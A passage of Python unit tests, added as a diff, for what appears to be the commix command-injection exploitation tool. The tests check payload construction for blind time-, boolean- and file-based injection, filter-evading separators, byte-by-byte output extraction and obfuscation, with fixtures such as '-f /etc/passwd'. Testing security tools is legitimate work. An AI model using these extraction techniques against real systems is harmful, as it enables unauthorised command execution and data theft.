AB \t", self._read("\t AB \t\n")) + self.assertEqual("\t AB \t", self._read("\t AB \t")) + + def test_an_output_that_is_only_whitespace_is_not_read_as_an_empty_one(self): + self.assertEqual(" ", self._read(" ")) + + def test_the_line_breaks_inside_it_stay_where_they_are(self): + self.assertEqual("a\nb", self._read("a\nb\n")) + + def test_a_last_line_with_no_break_after_it_is_still_a_line(self): + self.assertEqual("a\nb", self._read("a\nb")) + + def test_the_breaks_it_ends_with_come_off_the_way_a_substitution_drops_them(self): + self.assertEqual("a\nb", self._read("a\nb\n\n\n")) + + def test_a_carriage_return_is_not_read_as_a_newline(self): + # A byte the command printed, marked as the same thing a newline is marked as: 'a\rb' came + # back as 'a\nb'. + self.assertEqual("a\rb", self._read("a\rb\n")) + self.assertEqual("a\rb", self._read("a\rb")) + + def test_a_windows_break_at_the_end_leaves_its_carriage_return_behind(self): + # A substitution drops the newlines an output ends with and stops at the first byte that is not + # one. Marked as the single break a CRLF is, a trailing one was taken off whole instead and the + # carriage return went with it: 'a\r\nb\r\n' came back as 'a\r\nb'. + self.assertEqual("a\r\nb\r", self._read("a\r\nb\r\n")) + self.assertEqual("a\r\n\r", self._read("a\r\n\r\n")) + self.assertEqual("a\r", self._read("a\r\n\n\n")) + self.assertEqual("a\n\r", self._read("a\n\r\n")) + + def test_a_windows_line_break_is_one_break_rather_than_two(self): + self.assertEqual("a\r\nb", self._read("a\r\nb\n")) + + def test_a_carriage_return_at_the_end_ends_no_line_so_it_stays(self): + self.assertEqual("ab\r", self._read("ab\r")) + + def test_a_page_whose_own_breaks_are_windows_ones_is_still_read(self): + from src.core.controller import injector + marker = self.TAG + "\r\n" + self.TAG + "\r\n" + page = "Hello, " + marker + "A\tB" + marker + "!" + class served(object): + def read(self, *args, **kwargs): + return page.encode(settings.DEFAULT_CODEC) + def info(self): + return {} + def getcode(self): + return 200 + self.assertEqual("A\tB", injector.injection_results(served(), self.TAG, "cmd", + settings.INJECTION_TECHNIQUE.DYNAMIC_CODE, "url", None, 1)) + + def test_a_page_the_markers_are_not_on_answers_nothing(self): + from src.core.controller import injector + class served(object): + def read(self, *args, **kwargs): + return b"Hello, commix!" + def info(self): + return {} + def getcode(self): + return 200 + self.assertEqual("", injector.injection_results(served(), self.TAG, "cmd", + settings.INJECTION_TECHNIQUE.DYNAMIC_CODE, "url", None, 1)) + +class TheOutputsOwnLineBreaksComeBackWithIt(unittest.TestCase): + """ + A sink handing back only the last line of what it ran - which most of them do, PHP's 'exec()' + among them - answers with nothing at all where a break of the output's own went out. So the + breaks travel marked rather than as themselves, and are put back once what is between the markers + has been taken: the reading stays one line on the wire, and a list comes back a list. + """ + def setUp(self): + self._os = settings.TARGET_OS + settings.TARGET_OS = settings.OS.UNIX + + def tearDown(self): + settings.TARGET_OS = self._os + + def test_the_markers_are_letters_a_shell_a_page_and_awk_all_hand_back_unchanged(self): + for marker in (settings.RESULTS_BASED_LF_MARKER, settings.RESULTS_BASED_CR_MARKER): + self.assertTrue(marker.isalpha() and marker.isupper(), repr(marker)) + + def test_a_break_is_not_told_apart_from_a_return(self): + self.assertNotEqual(settings.RESULTS_BASED_LF_MARKER, settings.RESULTS_BASED_CR_MARKER) + + def test_the_single_line_reading_marks_a_break_rather_than_spacing_it(self): + from src.core.techniques.results_based import rb_payloads + program = rb_payloads.single_line_output("WORD") + self.assertIn(settings.RESULTS_BASED_LF_MARKER, program) + self.assertIn(settings.RESULTS_BASED_CR_MARKER, program) + + def test_the_interpreter_marks_them_too_and_writes_the_bytes_it_was_handed(self): + from src.core.techniques.results_based import rb_payloads + payload = rb_payloads.cmd_execution_alter_interpreter(";", "TAG", "id") + self.assertIn(settings.RESULTS_BASED_LF_MARKER, payload) + self.assertIn(settings.RESULTS_BASED_CR_MARKER, payload) + # Printed as text instead, a target whose locale is the ASCII one answered an output that was + # not ASCII with an encoding error and nothing else. + self.assertIn("sys.stdout.buffer.write", payload) + self.assertNotIn("print(", payload) + + def test_what_was_marked_is_a_break_again_by_the_time_it_is_read(self): + from src.core.controller import injector + body = ("TAGTAG" + "a" + settings.RESULTS_BASED_CR_MARKER + "b" + + settings.RESULTS_BASED_LF_MARKER + "c" + "TAGTAG") + class served(object): + def read(self, *args, **kwargs): + return body.encode(settings.DEFAULT_CODEC) + def info(self): + return {} + def getcode(self): + return 200 + self.assertEqual(["a\rb\nc"], injector.injection_results( + served(), "TAG", "id", settings.INJECTION_TECHNIQUE.RESULTS_BASED, "url", None, 1)) + +class AResultsBasedAnswerKeepsEachKindOfBreak(unittest.TestCase): + """ + The page a results-based answer is read off puts every break of the output on a line of its own, + and the markers are looked for on one line - so the breaks are marked and put back afterwards. + Marked as one thing and put back as a newline, a carriage return the command printed came back as + a newline: 'a\rb' was answered with 'a\nb', and a Windows line break with two of them. + """ + TAG = "QQQQQQ" + + def _read(self, printed): + from src.core.controller import injector + body = "" + self.TAG + self.TAG + printed + self.TAG + self.TAG + "" + class served(object): + def read(self, *args, **kwargs): + return body.encode(settings.DEFAULT_CODEC) + def info(self): + return {} + def getcode(self): + return 200 + found = injector.injection_results(served(), self.TAG, "cmd", + settings.INJECTION_TECHNIQUE.RESULTS_BASED, "url", None, 1) + return found[0] if found else found + + def test_a_newline_comes_back_as_one(self): + self.assertEqual("a\nb", self._read("a\nb")) + + def test_a_carriage_return_does_not_come_back_as_a_newline(self): + self.assertEqual("a\rb", self._read("a\rb")) + + def test_a_windows_break_comes_back_as_the_pair_it_was(self): + self.assertEqual("a\r\nb\r\n", self._read("a\r\nb\r\n")) + + def test_the_three_kinds_in_one_answer_each_stay_what_they_were(self): + self.assertEqual("a\nb\rc\r\nd", self._read("a\nb\rc\r\nd")) + +class ByteSemantics(unittest.TestCase): + """ + An ordinal is read off a raw byte, and a shell in a UTF-8 locale will not decode one on its own - + 'printf' answers 32767 instead of the byte's value, so every character past the first non-ASCII + one is asked for at a position nothing is at. The locale is pinned where the byte is read, and + where it is counted, so the length and the indexing agree on what a position means. + """ + TECHNIQUES = ("time_based/tb_payloads.py", "boolean_based/bb_payloads.py", + "tempfile_based/tfb_payloads.py", "file_based/fb_payloads.py", + "results_based/rb_payloads.py") + + def _sources(self): + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for name in self.TECHNIQUES: + with open(os.path.join(root, "src", "core", "techniques", name)) as handle: + yield name, handle.read() + # Where the read itself lives, now that every technique asks for it through the one helper. + with open(os.path.join(root, "src", "core", "controller", "checks.py")) as handle: + yield "controller/checks.py", handle.read() + + def test_every_ordinal_read_pins_the_locale(self): + from src.core.controller import checks + self.assertIn(settings.BYTE_LOCALE + " printf '%d'", checks.byte_ordinal("${X}")) + + def test_no_technique_reads_an_ordinal_around_the_helper(self): + """ + The pinned locale and the range the answer is brought back into are both the helper's doing, + so a read built anywhere else gets neither. + """ + loose = [] + for name, source in self._sources(): + if name.endswith("checks.py"): + continue + for line in source.splitlines(): + if "printf '%d'" in line: + loose.append(name + ": " + line.strip()[:60]) + self.assertEqual([], loose) + + def test_the_scan_finds_the_reads_at_all(self): + sources = dict(self._sources()) + self.assertEqual(len(self.TECHNIQUES) + 1, len(sources)) + self.assertEqual(1, sum(_.count("printf '%d'") for _ in sources.values())) + # And the techniques do reach it, rather than having quietly stopped reading ordinals. + callers = [_ for _ in self.TECHNIQUES if "byte_ordinal" in sources[_]] + self.assertGreater(len(callers), 2, "only " + str(callers) + " call the helper") + + def test_an_ordinal_comes_back_as_the_byte_whichever_way_printf_signs_it(self): + """ + 'printf' hands a byte over as a plain char, signed on most builds - so bash answers -61 for the + byte dash answers 195 for. Read as it arrives, every question about that byte is asked against + the wrong number and the character is lost, which is what this brings back into range. + """ + from src.core.controller import checks + expression = checks.byte_ordinal("${X}") + span = settings.HIGHEST_BYTE + 1 + self.assertIn("+ " + str(span) + " ) % " + str(span), expression) + for byte in range(span): + for answered in (byte, byte - span if byte > 127 else byte): + self.assertEqual(byte, (answered + span) % span, + "byte " + str(byte) + " answered as " + str(answered)) + + def test_a_shell_reads_a_high_byte_as_itself(self): + """ + The table above is the arithmetic; this is the shells it has to hold on, bash among them - + a shell whose 'printf' is unsigned agrees either way and would not notice the difference. + """ + from src.core.controller import checks + shells = [_ for _ in ("/bin/sh", "/bin/bash", "/bin/dash") if os.path.exists(_)] + if not shells: + self.skipTest("needs a POSIX shell") + environment = {"LC_ALL": "C", "PATH": os.environ.get("PATH", "/bin:/usr/bin")} + for octal, byte in (("\\303", 195), ("\\251", 169), ("\\101", 65), ("\\177", 127)): + expression = checks.byte_ordinal("$(printf '" + octal + "')") + for shell in shells: + answer = subprocess.check_output([shell, "-c", "printf '%s' \"" + expression + "\""], + env=environment).decode().strip() + self.assertEqual(str(byte), answer, shell + " read byte " + str(byte) + " as " + answer) + + def test_the_piped_ordinal_parts_nothing_of_its_own(self): + """ + Under a pipe the byte used to be read with a second statement after it, parted by a newline - + an operator the payload is not proving, carried inside the substitution where it still counts. + Counting the byte instead needs no second statement, and no sign either. + """ + from src.core.techniques.time_based import tb_payloads + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + settings.TIME_RELATED_ATTACK = True + settings.CHECKING_PARAMETER = "P" + settings.EXPLOITATION_PHASE = True + for separator in ("|", "||"): + settings.CONFIRMED_BOUNDARY = {"P": ("", "", separator, settings.SINGLE_WHITESPACE)} + payload = tb_payloads.get_char(separator, "id", 2, 126, 5, "GET") + self.assertTrue(payload, "no payload under " + repr(separator)) + used = set(payload) & set(";&|\n\r") + self.assertEqual(set(separator), used, "under " + repr(separator) + " it also uses " + str(sorted(used))) + self.assertIn("-t u1", payload) + + def test_the_file_is_transformed_through_an_unsigned_reading(self): + """ + The output file is rewritten as one number per byte, and those numbers are what the search then + reads - digits and spaces, so a byte of any value is asked for out of the printable pool alone + and the pool never has to widen. Signed, 'od' answers -61 where the byte is 195, which both puts + a character outside that pool and spends the sign on nothing. + """ + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + with open(os.path.join(root, "src", "core", "techniques", "tempfile_based", "tfb_payloads.py")) as handle: + source = handle.read() + self.assertGreater(source.count("-t u1"), 3, "the transform is not where it was") + self.assertNotIn("-t d1", source) + + def test_the_locale_is_pinned_where_the_shell_does_the_counting(self): + """ + A character-counting shell answers a length the byte beside it is not indexed by, so the measurement pins the locale itself. + """ + from src.core.techniques.time_based import tb_payloads + from src.core.techniques.tempfile_based import tfb_payloads + from src.core.techniques.boolean_based import bb_payloads + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + settings.TIME_RELATED_ATTACK = True + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + settings.CHECKING_PARAMETER = "P" + settings.EXPLOITATION_PHASE = True + for separator in (";", settings.END_LINE.LF): + settings.CONFIRMED_BOUNDARY = {"P": ("", "", separator, settings.SINGLE_WHITESPACE)} + # Every technique that measures a real output, counted the same way and read back the same way. + for payload in (tb_payloads.get_length(separator, "id", 1, 5, "GET"), + tb_payloads.cmd_execution(separator, "id", 1, 5, "GET"), + tb_payloads.get_char(separator, "id", 2, 126, 5, "GET"), + tfb_payloads.cmd_execution(separator, "id", 1, "/tmp/out.txt", 5, "GET"), + bb_payloads.get_length(separator, "id", 1), + bb_payloads.get_char(separator, "id", 2, 126)): + # Chained with the separator under test, so the pin brings in nothing new to filter. + self.assertIn(separator + settings.BYTE_LOCALE_EXPORTED + separator, payload) + used = set(payload) & set(";&|\n\r") + self.assertEqual(set(separator), used, "under " + repr(separator) + " it also uses " + str(sorted(used))) + # Detection measures a marker commix wrote itself, which is ASCII - nothing there can disagree. + self.assertNotIn(settings.BYTE_LOCALE, tb_payloads.decision(separator, "MARKER", 6, 5, "GET")) + self.assertNotIn(settings.BYTE_LOCALE, tfb_payloads.decision(separator, 6, "MARKER", "/tmp/out.txt", 5, "GET")) + # Through backticks the counting is a command of its own, so the fallback pins an exported locale in place of the filler the "&&" needs. + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + try: + for separator in ("&", "&&"): + settings.CONFIRMED_BOUNDARY = {"P": ("", "", separator, settings.SINGLE_WHITESPACE)} + self.assertIn(settings.BYTE_LOCALE_EXPORTED, tb_payloads.get_length(separator, "id", 1, 5, "GET")) + self.assertIn(settings.BYTE_LOCALE_EXPORTED, tb_payloads.cmd_execution(separator, "id", 1, 5, "GET")) + self.assertIn(settings.BYTE_LOCALE_EXPORTED, tb_payloads.get_char(separator, "id", 2, 126, 5, "GET")) + self.assertIn(settings.BYTE_LOCALE_EXPORTED, tfb_payloads.cmd_execution(separator, "id", 1, "/tmp/out.txt", 5, "GET")) + # Detection measures an ASCII marker, so neither fallback pins anything there. + self.assertNotIn(settings.BYTE_LOCALE, tb_payloads.decision(separator, "MARKER", 6, 5, "GET")) + # Boolean-based refuses '&' outright rather than reach for a second operator to hold a variable. + self.assertEqual("", bb_payloads.get_length("&", "id", 1)) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + + def test_a_windows_payload_is_left_alone(self): + from src.core.techniques.time_based import tb_payloads + was = settings.TARGET_OS + try: + settings.TARGET_OS = settings.OS.WINDOWS + for separator in ("&", "&&"): + payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") + self.assertNotIn(settings.BYTE_LOCALE, payload, repr(separator)) + finally: + settings.TARGET_OS = was + + def test_every_awk_measurement_pins_the_locale(self): + # 'length' and 'substr' count characters under gawk in a UTF-8 locale, and bytes under the C + # one - the indexing beside them is bytes either way. + unpinned = [] + for name, source in self._sources(): + for line in source.splitlines(): + if "awk 'BEGIN{" in line and "LC_ALL=C awk 'BEGIN{" not in line: + unpinned.append(name + ": " + line.strip()[:60]) + self.assertEqual([], unpinned) + +class PoolExpansion(unittest.TestCase): + """ + A byte found to sit above the pool is looked for in the rest of the range a byte can be - but only + while the pool is commix's own. A pool the user wrote out is a statement about this output, so a + byte outside it is left unresolved instead of bought with the questions the search would cost. + """ + + def setUp(self): + from src.core.parse import cmdline as menu + self.menu = menu + self.was = menu.options.charset + + def tearDown(self): + self.menu.options.charset = self.was + + def test_commixs_own_pool_is_widened(self): + from src.core.controller import checks + self.menu.options.charset = None + self.assertTrue(checks.char_pool_expands()) + + def test_a_pool_the_user_wrote_out_is_not(self): + from src.core.controller import checks + self.menu.options.charset = "0123456789abcdef" + self.assertFalse(checks.char_pool_expands()) + + def test_that_pool_is_the_one_searched(self): + from src.core.controller import checks + self.menu.options.charset = "0123456789abcdef" + self.assertEqual(sorted(ord(_) for _ in "0123456789abcdef"), sorted(checks.generate_char_pool(2))) + +class CharacterPool(unittest.TestCase): + """ + The pool the ordinal oracles search is printable ASCII, which is what output mostly is. A byte + above it answers yes to every "is it at least N" the halving asks, so the search climbs to the + pool's own last character - and that answer has to be checked rather than taken, or a wrong + character is reported in the shape of a right one. + """ + def test_the_pool_stops_at_printable_ascii(self): + self.assertEqual(126, max(settings.CHAR_POOL_MULTI)) + self.assertEqual(126, max(settings.CHAR_POOL_SINGLE)) + self.assertIn(9, settings.CHAR_POOL_MULTI) + self.assertIn(10, settings.CHAR_POOL_MULTI) + + def test_there_is_a_range_left_to_search_above_it(self): + self.assertGreater(settings.HIGHEST_BYTE, max(settings.CHAR_POOL_MULTI)) + self.assertEqual(255, settings.HIGHEST_BYTE) + + def test_the_boolean_oracle_confirms_before_answering(self): + """ + Its last step used to hand back whatever the halving settled on. A byte above the pool settles + on the pool's top, so the answer needs asking for by name before it is believed. + """ + import inspect + from src.core.techniques.boolean_based import bb_handler + source = inspect.getsource(bb_handler._byte_at) + self.assertIn("_confirmed", source, "the span search answers without confirming") + confirm = inspect.getsource(bb_handler._confirmed) + self.assertIn("-eq", confirm) + self.assertIn("HIGHEST_BYTE", confirm, "nothing searches above the pool") + + def test_the_time_based_oracle_checks_the_top_of_the_pool_from_above(self): + import inspect + from src.core.controller import injector + source = inspect.getsource(injector.time_related_injection) + self.assertIn("HIGHEST_BYTE", source, "the pool's top is accepted unchecked") + +class ArithmeticConditions(unittest.TestCase): + """ + A 'test' comparison, rewritten as arithmetic so the delay can be scaled by it instead of branching + on it - and refused where it is not one, rather than mistranslated into something that always holds. + """ + def test_a_numeric_comparison_translates(self): + from src.core.techniques.time_based import tb_payloads + for condition, expected in (("1 -eq 1", "1==1"), ("2 -ne 3", "2!=3"), ("4 -le 5", "4<=5"), + ("6 -lt 7", "6<7"), ("8 -ge 9", "8>=9"), ("1 -gt 0", "1>0")): + self.assertEqual(expected, tb_payloads._arithmetic_condition(condition)) + + def test_anything_else_is_refused(self): + from src.core.techniques.time_based import tb_payloads + for condition in ("-f /etc/passwd", "\"$x\" = \"y\"", "-n $VAR", "1 -eq $VAR"): + self.assertIsNone(tb_payloads._arithmetic_condition(condition), condition + " was translated") + + def test_the_condition_payloads_use_it(self): + # The separator count is the sweep's job; this is only that the arithmetic replaced the branch. + from src.core.techniques.time_based import tb_payloads + for separator in ("&", "&&"): + payload = tb_payloads.condition_check(separator, "1 -eq 1", 5, "GET") + self.assertIn("1==1", payload) + self.assertNotIn("[ 1 -eq 1 ]", payload) + +class WindowsPayloads(unittest.TestCase): + """ + Nothing here can be run from this machine, so what is pinned is the shape: that a payload is + built on the separators 'cmd.exe' chains with, that none is built on the ones it does not, and + that what comes out carries no POSIX construct the shell it is written for cannot read. + """ + CHAINS = ("&", "&&", "|", "||") + DOES_NOT_CHAIN = (";", settings.END_LINE.LF, "\r\n") + + def setUp(self): + self.was = settings.TARGET_OS + settings.TARGET_OS = settings.OS.WINDOWS + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + settings.TIME_RELATED_ATTACK = True + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + + def tearDown(self): + settings.TARGET_OS = self.was + + def test_a_payload_is_built_on_what_cmd_chains_with(self): + from src.core.techniques.time_based import tb_payloads + for separator in self.CHAINS: + payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") + self.assertTrue(payload and payload.strip(), "nothing built under " + repr(separator)) + + def test_nothing_is_built_on_what_it_does_not(self): + # A ';' is not a separator to 'cmd.exe', and a payload built on one would read as a single word. + from src.core.techniques.time_based import tb_payloads + for separator in self.DOES_NOT_CHAIN: + payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") + self.assertFalse(payload and payload.strip(), "built under " + repr(separator)) + + def test_no_posix_construct_reaches_a_windows_payload(self): + from src.core.techniques.time_based import tb_payloads + for separator in self.CHAINS: + payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") + for construct in ("$(", "${", "awk ", "sleep ", "/bin/"): + self.assertNotIn(construct, payload, construct + " under " + repr(separator)) + +class BackticksFallback(unittest.TestCase): + """ + The one-command forms nest one substitution inside another, which backticks cannot express - so + a run using them keeps the older shape. It still has to produce a payload. + """ + def test_a_payload_is_still_built_with_backticks(self): + from src.core.techniques.time_based import tb_payloads + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + try: + for separator in ("&", "&&"): + payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") + self.assertTrue(payload.strip(), "no payload under " + repr(separator)) + self.assertNotIn("awk", payload, "the nested form was used with backticks") + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + + def test_what_the_rewrites_hand_back_closes_every_backtick_it_opens(self): + """ + A backtick does not nest, so a rewrite that opens one and leaves it open runs the rest of the + payload as the command inside it - and the shell answers nothing rather than erroring. + """ + from src.tamper.obfuscation.posix import rev + from src.tamper.obfuscation.generic import randomcase + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + try: + for separator in SEPARATORS: + for script in (rev, randomcase): + payload = stage_exploitation(separator) + tampered = script.tamper(payload) + self.assertEqual(tampered.count("`") % 2, 0, + script.__tamper__ + " left a backtick open under " + repr(separator)) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + +class PayloadShape(unittest.TestCase): + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + settings.TIME_RELATED_ATTACK = True + + def test_every_builder_hands_back_a_payload(self): + empty = [] + for module_name, name, function, parameters in builders(): + try: + payload = function(";", *[argument_for(_) for _ in parameters[1:]]) + except Exception: + continue + if isinstance(payload, str) and not payload.strip(): + empty.append(module_name + "." + name) + self.assertEqual([], empty) + + def test_an_interpreter_payload_separates_its_statements_without_a_semicolon(self): + # A carriage return is a line break to the interpreter and not an operator to a filter. + from src.core.techniques.time_based import tb_payloads + payload = tb_payloads.decision_alter_interpreter(";", "MARKER", 1, 5, "GET") + self.assertIn("import time" + settings.END_LINE.CR, payload) + +if __name__ == "__main__": + unittest.main() + +class UnreadableBytes(unittest.TestCase): + """ + Output is read off a page, and a page is read in whatever encoding it declares - so a byte that + encoding cannot represent used to come back as the one replacement character every unreadable + byte shares, which is not the byte the target sent and cannot be turned back into it. + """ + + def _response(self, charset): + class Served(object): + def info(self): + return {"Content-Encoding": "", "Content-Type": "text/html; charset=" + charset} + served = Served() + served.info = lambda: {"Content-Encoding": "", "Content-Type": "text/html; charset=" + charset} + return served + + def test_a_byte_the_page_cannot_read_is_kept(self): + from src.core.controller import checks + read = checks.decode_page_body(b"x\xc3y", self._response("utf-8")) + self.assertNotIn("�", read) + self.assertEqual("x\xc3y", checks.restored_unreadable_bytes(read)) + + def test_a_page_it_can_read_is_left_as_it_is(self): + from src.core.controller import checks + self.assertEqual("caf\xe9", checks.decode_page_body(b"caf\xc3\xa9", self._response("utf-8"))) + + def test_only_a_byte_past_ascii_is_read_back(self): + """ + The escape stands for a byte no encoding could read, and only a byte past ASCII is ever one - + so an escape the output itself printed spells a character the page read perfectly well. + """ + from src.core.controller import checks + self.assertEqual("printed \\x41 here", checks.restored_unreadable_bytes("printed \\x41 here")) + self.assertEqual("x\xc3y", checks.restored_unreadable_bytes("x\\xc3y")) + +# eof + +class MaxlenTruncation(unittest.TestCase): + """ + Landing on the ceiling says the output reaches it, not that it ends there - every length past it + answers the same question the same way. Handed back without a word, a run that read four of ten + characters is indistinguishable from one that read an output four characters long. + """ + + def _handler(self): + from src.core.techniques.boolean_based import bb_handler + return bb_handler + + def test_the_reading_limit_is_no_part_of_the_search(self): + """ + The doubling runs on what is plausible, and the limit is applied to the length it settles on - + so the length reported is the output's own, and how much of it was read is said separately. + """ + import inspect + source = inspect.getsource(self._handler().output_length) + self.assertIn("MAX_INFERRED_LENGTH", source) + self.assertIn("characters long, and this run reads", source) + self.assertIn("INCOMPLETE_OUTPUT", source) + + def test_the_time_related_reading_says_so_too(self): + """ + The limit now belongs to the reading, against a length already known in full - so what is said + is how long the output is and how much of it was read, not that it is longer than some bound. + """ + import inspect + from src.core.controller import injector + source = inspect.getsource(injector.time_related_injection) + self.assertIn("characters long, and this run", source) + self.assertIn("INCOMPLETE_OUTPUT", source) + +# eof + +class ResolvedOrdinal(unittest.TestCase): + """ + The halving is never asked about its own upper bound, so the pool's last character is the one + answer it cannot give: a byte that reaches it settles one below it, and so does every byte past + the pool. Left there, '~' comes back as '}' and a byte of 195 as either. + """ + POOL = [9, 10] + list(range(32, 127)) + + def _asks(self, byte): + self.asked = [] + def asks(candidate): + self.asked.append(candidate) + return candidate <= byte + return asks + + def test_every_byte_resolves_to_itself(self): + from src.core.controller import injector + for byte in (9, 10, 32, 120, 125, 126, 127, 128, 169, 195, 254, 255): + self.assertEqual(byte, injector.resolved_ordinal(self._asks(byte), self.POOL), + "byte " + str(byte)) + + def test_the_pools_last_character_is_asked_about(self): + from src.core.controller import injector + injector.resolved_ordinal(self._asks(126), self.POOL) + self.assertIn(max(self.POOL), self.asked, "the pool's top is never asked about") + + def test_a_pool_the_user_wrote_out_is_not_widened(self): + from src.core.controller import injector + self.assertEqual(max(self.POOL), + injector.resolved_ordinal(self._asks(195), self.POOL, expands=False)) + + def test_nothing_answered_resolves_to_nothing(self): + from src.core.controller import injector + self.assertIsNone(injector.resolved_ordinal(lambda _: False, self.POOL)) + + def test_the_range_past_the_pool_costs_only_the_bytes_that_need_it(self): + from src.core.controller import injector + injector.resolved_ordinal(self._asks(120), self.POOL) + plain = len(self.asked) + injector.resolved_ordinal(self._asks(195), self.POOL) + self.assertLess(plain, len(self.asked)) + self.assertLess(len(self.asked), plain * 3, "a high byte costs more than twice an ASCII one") + +# eof + +class ResolvedLength(unittest.TestCase): + """ + Nothing caps the length search but implausibility. Capped at what the run was willing to read, it + had an upper bound nothing had answered for - an output exactly that long settled one character + short of itself, and one longer settled there too rather than being known to be longer. + """ + + def _asks(self, length): + self.asked = [] + def asks(candidate): + self.asked.append(candidate) + return candidate <= length + return asks + + def test_an_output_is_found_whatever_its_length(self): + from src.core.controller import injector + for length in (1, 2, 3, 4, 5, 8, 9, 100, 255, 10000): + self.assertEqual(length, injector.resolved_length(self._asks(length), 1), + "length " + str(length)) + + def test_nothing_answered_resolves_to_nothing(self): + from src.core.controller import injector + self.assertIsNone(injector.resolved_length(lambda _: False, 1)) + + def test_an_oracle_that_agrees_with_everything_is_disbelieved(self): + """ + Yes all the way up is not a very long output, it is an oracle answering whatever it is asked. + """ + from src.core.controller import injector + self.assertIsNone(injector.resolved_length(lambda _: True, 1, sanity=4096)) + + def test_what_the_run_reads_is_no_part_of_finding_the_length(self): + from src.core.controller import injector + import inspect + source = inspect.getsource(injector.resolved_length) + self.assertNotIn("maxlen", source, "the reading limit is back in the search") + + def test_a_large_length_is_reached_in_fewer_steps_than_doubling_would(self): + """ + The bracket grows by more than two at a time, so a long output is reached in fewer steps - the + reason being a numeric oracle answers a length question in one probe, unlike a character one, + which is why reading the length's digits instead would cost commix more than it saved. + """ + from src.core.controller import injector + was = settings.LENGTH_SEARCH_BASE + try: + settings.LENGTH_SEARCH_BASE = 2 + injector.resolved_length(self._asks(100000), 1) + doubling = len(self.asked) + settings.LENGTH_SEARCH_BASE = 4 + injector.resolved_length(self._asks(100000), 1) + self.assertLess(len(self.asked), doubling, "the wider bracket saved nothing") + finally: + settings.LENGTH_SEARCH_BASE = was + + def test_the_cost_stays_logarithmic(self): + from src.core.controller import injector + injector.resolved_length(self._asks(10000), 1) + # Doubling to bracket it, then halving back: about twice the bits of the answer. + self.assertLess(len(self.asked), 40, "asked " + str(len(self.asked)) + " times") + +class BooleanThroughAPipe(unittest.TestCase): + """ + A pipe carries a boolean answer either way one can be read, and neither way needs a second + operator. Off the exit status, by leaving the pipeline unterminated - the no-operation that would + close it answers 0 whatever the test said, which is the whole answer thrown away. Printed, by + printing the marker through the pipe and taking it from the byte the comparison picks, since + there is no ';' to put before an 'if' and '&&' would be a separator of its own. + """ + SEP = "|" + + def _stage(self, printed): + stage_exploitation(self.SEP) + settings.BOOLEAN_PRINTED_STATE = printed + settings.EXPLOITATION_PHASE = True + from src.core.techniques.boolean_based import bb_payloads + return bb_payloads + + def _built(self, payloads): + return (("detect", payloads.condition_check(self.SEP, holds=True)), + ("decision", payloads.decision(self.SEP, "TAG", 3)), + ("length", payloads.get_length(self.SEP, "id", 5)), + ("char", payloads.get_char(self.SEP, "id", 2, 126))) + + def test_a_pipe_is_answered_either_way(self): + for printed in (False, True): + payloads = self._stage(printed) + for name, payload in self._built(payloads): + self.assertTrue(payload, name + " under a pipe, printed=" + str(printed)) + + def test_nothing_but_the_pipe_is_used(self): + for printed in (False, True): + payloads = self._stage(printed) + for name, payload in self._built(payloads): + used = set(payload) & set(";&|\n\r") + self.assertEqual({"|"}, used, name + " printed=" + str(printed) + " uses " + str(sorted(used))) + + def test_the_status_is_not_closed_away(self): + """ + 'terminate_payload' ends a binary separator on a no-operation, whose status is the pipeline's. + """ + payloads = self._stage(False) + for name, payload in self._built(payloads): + self.assertFalse(payload.rstrip().endswith("|" + settings.NO_OPERATION), + name + " ends on the no-operation, discarding the answer") + + def test_the_printed_answer_is_taken_from_the_marker(self): + payloads = self._stage(True) + for name, payload in self._built(payloads): + self.assertIn(settings.BOOLEAN_MARKER, payload, name) + self.assertIn("tail -c +$((", payload, name) + # 'head -c 0' says the same thing and is refused outright by some builds. + self.assertNotIn("head -c $((", payload, name) + + def test_the_byte_is_counted_unsigned(self): + """ + No variable survives a pipe, so the byte is read where it is needed - counted rather than read + as a character, which is the reading that holds on a build whose 'printf' signs it. + """ + for printed in (False, True): + payloads = self._stage(printed) + self.assertIn("od -A n -t u1", payloads.get_char(self.SEP, "id", 2, 126)) + +# eof + +class SubstitutionNesting(unittest.TestCase): + """ + Whether a substitution can hold another one is a property of the substitution itself, so it is + read off it rather than tracked beside it. Tracked, the two were two answers to one question: a + run that set the flag without changing the substitution skipped the nesting form while still + writing '$( )', which nests perfectly well. + """ + + def setUp(self): + self.was = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX) + + def tearDown(self): + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = self.was + + def test_it_is_read_off_the_substitution_in_use(self): + from src.core.controller import checks + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + self.assertTrue(checks.substitution_nests()) + self.assertFalse(checks.using_backticks()) + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = settings.BACKTICK_SUBSTITUTION + self.assertFalse(checks.substitution_nests()) + self.assertTrue(checks.using_backticks()) + + def test_the_branch_follows_the_substitution_and_nothing_else(self): + from src.core.techniques.time_based import tb_payloads + stage_exploitation("&") + 